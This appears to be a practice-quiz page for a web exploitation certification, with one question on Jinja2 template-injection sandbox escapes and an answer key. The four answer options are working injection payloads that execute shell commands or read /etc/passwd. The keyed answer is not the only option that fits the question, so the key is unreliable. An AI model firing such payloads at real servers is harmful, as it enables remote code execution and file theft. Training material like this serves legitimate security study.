HTB CWEE Practice Questions - HTB Certified Web Exploitation Expert Exam

Access More Questions

Which Jinja2 SSTI sandbox-escape technique uses the '__globals__' attribute to access the 'os' module without relying on '__subclasses__()'?

{{config.__class__.__init__.__globals__['os'].popen('id').read()}} {{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()}} {{request.application.__globals__.__builtins__.__import__('os').system('id')}} {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

Correct Answer:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Access more questions from this quiz

Continue to HTB CWEE Practice Questions - HTB Certified Web Exploitation Expert Exam for more practice questions and the full quiz experience.

Access More Questions